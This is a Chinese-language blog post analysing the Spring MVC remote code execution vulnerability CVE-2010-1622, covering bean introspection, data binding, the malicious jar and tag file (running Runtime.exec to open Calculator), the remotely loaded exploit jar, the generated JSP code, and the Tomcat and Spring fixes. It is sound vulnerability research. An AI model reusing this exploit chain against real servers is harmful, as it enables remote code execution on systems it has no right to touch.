SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。

介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。

Versions Affected:  3.0.0 to 3.0.2  2.5.0 to 2.5.6.SEC01 (community releases)  2.5.0 to 2.5.7 (subscription customers)
Earlier versions may also be affected

Java Beans API

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。

内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的 propertiesDescriptor 实际上来自于对Method的解析。

如我们现在声明一个JavaBean—Test

public class Test {
    private String id;
    private String name;
 
    public String getPass() {
        return null;
    }
 
 
    public String getId() {
        return id;
    }
 
    public void setId(String id) {
        this.id = id;
    }
 
    public String getName() {
        return name;
    }
 
    public void setName(String name) {
        this.name = name;
    }
}
 

在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。

因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。

Java Beans API的Introspector类提供了两种方法来获取类的bean信息:

BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)
 

这里就出现了一个使用时可能出现问题的地方,即没有使用 stopClass ,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类

而又因为它存在一个 getClass() 方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。

如下:

public class Main {
    public static void main(String[] args) throws Exception {
        BeanInfo info = Introspector.getBeanInfo(Test.class);
//        BeanInfo info = Introspector.getBeanInfo(Class.class);
//        BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class);
        PropertyDescriptor[] properties =
                info.getPropertyDescriptors();
        for (PropertyDescriptor pd : properties) {
            System.out.println("Property: " + pd.getName());
        }
    }
}
 

output:

Property: class
Property: id
Property: name
Property: pass
 

其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。

如果我们接着调用

Introspector.getBeanInfo(Class.class)
 

可以获得更多信息

Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
...
 

可以看到关键的 classLoader 出现了

SpringMVC如何实现数据绑定

首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。

在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。

无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。

其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。

如:

tb中有个spouse的属性,也为TestBean

TestBean tb = new TestBean(); 
BeanWrapper bw = new BeanWrapperImpl(tb); 
bw.setPropertyValue("spouse.name", "tom");
//等价于tb.getSpouse().setName("tom");  
 

变量覆盖问题

在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo

public class User {
    private String name;
 
    public String getName() {
        return name;
    }
 
    public void setName(String name) {
        this.name = name;
    }
}
 
public class UserInfo {
    private String id ;
    private String number;
    private User user=new User();
    private String names[] = new String[]{"1"};
 
    public String getId() {
        return id;
    }
 
    public String getNumber() {
        return number;
    }
 
    public void setId(String id) {
        this.id = id;
    }
 
    public User getUser() {
        return user;
    }
 
    public String[] getNames() {
        return names;
    }
 
}
 
 

新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。

@RequestMapping(value = "/test", method = RequestMethod.GET)
    public void test(UserInfo userInfo) {
        System.out.println("id:"+userInfo.getId());
        System.out.println("number:"+userInfo.getNumber());
        System.out.println("class:"+userInfo.getClass());
        System.out.println("user.name:"+userInfo.getUser().getName());
        System.out.println("names[0]:"+ userInfo.getNames()[0]);
        System.out.println("classLoader:"+ userInfo.getClass().getClassLoader());
    }
 

测试controller,发送请求

http://localhost:8088/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333

结果:

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。

接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。

上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。

跳到names[0]处理时

接着看一下它是如何获得对应的类中参数

跟进getPropertyValue方法

发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。

看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。

接着到赋值操作。

看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

漏洞复现

环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE

构建一个jar包META-INF中放入spring-form.tld和tags/InputTag.tag

内容为:

//spring-form.tld
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
        version="2.0">
 
    <description>Spring Framework JSP Form Tag Library</description>
    <tlib-version>3.0</tlib-version>
    <short-name>form</short-name>
    <uri>http://www.springframework.org/tags/form</uri>
    <tag-file>
        <name>input</name>
        <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>
    <tag-file>
        <name>form</name>
        <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>
</taglib>
 
 
//InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
    java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app");
%>
 

编译出的jar包放到web上提供下载

待测试springmvc编写jsp代码

//hello.jsp
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
    <form:input path="name"/>
</form:form>
 

controller如下:

    @RequestMapping(value = "/hello")
    public String hello(Model model,User user) {
        model.addAttribute("user",user);
        model.addAttribute("name", user.getName());
        return "hello";
    }
 

漏洞原理

通过上面可以知道,我们利用了springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了这次RCE。

我们来具体看下之后是如何执行的。

首先setPropertyValue将对应参数填入URLs[],结果如上图已经赋给了classloader

接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。

这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。

首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。

package org.apache.jsp.WEB_002dINF.jsp;
 
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
 
public final class hello_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent {
 
  private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
 
  private static java.util.List _jspx_dependants;
 
  static {
    _jspx_dependants = new java.util.ArrayList(2);
    _jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/spring-form.tld");
    _jspx_dependants.add("jar:http://127.0.0.1:8000/sp-exp.jar!/META-INF/tags/InputTag.tag");
  }
 
  private javax.el.ExpressionFactory _el_expressionfactory;
  private org.apache.AnnotationProcessor _jsp_annotationprocessor;
 
  public Object getDependants() {
    return _jspx_dependants;
  }
 
  public void _jspInit() {
    _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
    _jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
  }
 
  public void _jspDestroy() {
  }
 
  public void _jspService(HttpServletRequest request, HttpServletResponse response)
        throws java.io.IOException, ServletException {
 
    PageContext pageContext = null;
    HttpSession session = null;
    ServletContext application = null;
    ServletConfig config = null;
    JspWriter out = null;
    Object page = this;
    JspWriter _jspx_out = null;
    PageContext _jspx_page_context = null;
 
 
    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
                null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;
 
      out.write('\n');
      out.write('\n');
      if (_jspx_meth_form_005fform_005f0(_jspx_page_context))
        return;
    } catch (Throwable t) {
      if (!(t instanceof SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try { out.clearBuffer(); } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
 
  private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context)
          throws Throwable {
    PageContext pageContext = _jspx_page_context;
    JspWriter out = _jspx_page_context.getOut();
    //  form:form
    org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005fform_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();
    org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0);
    _jspx_th_form_005fform_005f0.setJspContext(_jspx_page_context);
    // /WEB-INF/jsp/hello.jsp(3,0) null
    _jspx_th_form_005fform_005f0.setDynamicAttribute(null, "commandName", new String("user"));
    _jspx_th_form_005fform_005f0.setJspBody(new Helper( 0, _jspx_page_context, _jspx_th_form_005fform_005f0, null));
    _jspx_th_form_005fform_005f0.doTag();
    org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005fform_005f0);
    return false;
  }
 
  private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context)
          throws Throwable {
    PageContext pageContext = _jspx_page_context;
    JspWriter out = _jspx_page_context.getOut();
    //  form:input
    org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();
    org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);
    _jspx_th_form_005finput_005f0.setParent(_jspx_parent);
    // /WEB-INF/jsp/hello.jsp(4,1) null
    _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name"));
    _jspx_th_form_005finput_005f0.doTag();
    org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    return false;
  }
 
  private class Helper
      extends org.apache.jasper.runtime.JspFragmentHelper
  {
    private javax.servlet.jsp.tagext.JspTag _jspx_parent;
    private int[] _jspx_push_body_count;
 
    public Helper( int discriminator, JspContext jspContext, javax.servlet.jsp.tagext.JspTag _jspx_parent, int[] _jspx_push_body_count ) {
      super( discriminator, jspContext, _jspx_parent );
      this._jspx_parent = _jspx_parent;
      this._jspx_push_body_count = _jspx_push_body_count;
    }
    public boolean invoke0( JspWriter out ) 
      throws Throwable
    {
      out.write('\n');
      out.write('   ');
      if (_jspx_meth_form_005finput_005f0(_jspx_parent, _jspx_page_context))
        return true;
      out.write('\n');
      return false;
    }
    public void invoke( java.io.Writer writer )
      throws JspException
    {
      JspWriter out = null;
      if( writer != null ) {
        out = this.jspContext.pushBody(writer);
      } else {
        out = this.jspContext.getOut();
      }
      try {
        this.jspContext.getELContext().putContext(JspContext.class,this.jspContext);
        switch( this.discriminator ) {
          case 0:
            invoke0( out );
            break;
        }
      }
      catch( Throwable e ) {
        if (e instanceof SkipPageException)
            throw (SkipPageException) e;
        throw new JspException( e );
      }
      finally {
        if( writer != null ) {
          this.jspContext.popBody();
        }
      }
    }
  }
}
 
 

首先static块里面可以看到引入的外部jar包,然后代码中对应 <spring:form><spring:input> 标签的是_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0两个方法。

具体看

private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_parent, PageContext _jspx_page_context)
          throws Throwable {
    PageContext pageContext = _jspx_page_context;
    JspWriter out = _jspx_page_context.getOut();
    //  form:input
    org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.http_003a.www_springframework_org.tags.form.InputTag_tag();
    org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);
    _jspx_th_form_005finput_005f0.setParent(_jspx_parent);
    // /WEB-INF/jsp/hello.jsp(4,1) null
    _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name"));
    _jspx_th_form_005finput_005f0.doTag();
    org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    return false;
  }
 

new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法。

public void doTag() throws JspException, java.io.IOException {
    PageContext _jspx_page_context = (PageContext)jspContext;
    HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest();
    HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse();
    HttpSession session = _jspx_page_context.getSession();
    ServletContext application = _jspx_page_context.getServletContext();
    ServletConfig config = _jspx_page_context.getServletConfig();
    JspWriter out = jspContext.getOut();
    _jspInit(config);
    jspContext.getELContext().putContext(JspContext.class,jspContext);
    _jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs);
    try {
      out.write('\n');
 
    java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app");
 
    } catch( Throwable t ) {
      if( t instanceof SkipPageException )
          throw (SkipPageException) t;
      if( t instanceof java.io.IOException )
          throw (java.io.IOException) t;
      if( t instanceof IllegalStateException )
          throw (IllegalStateException) t;
      if( t instanceof JspException )
          throw (JspException) t;
      throw new JspException(t);
    } finally {
      jspContext.getELContext().putContext(JspContext.class,super.getJspContext());
      ((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile();
    }
  }
 

发现是这里最后执行了之前tag中写的代码导致RCE。

简单总结下主要流程:

exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode

限制条件

首先需要该应用使用了对象绑定表单功能,其次由代码可知

//TldLocationsCache.class
private void init() throws JasperException {
        if(!this.initialized) {
            try {
                this.processWebDotXml();
                this.scanJars();
                this.processTldsInFileSystem("/WEB-INF/");
                this.initialized = true;
            } catch (Exception var2) {
                throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", var2.getMessage()));
            }
        }
    }
 

需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。

如何修复

Tomcat:

虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]

Spring:

spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

参考

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章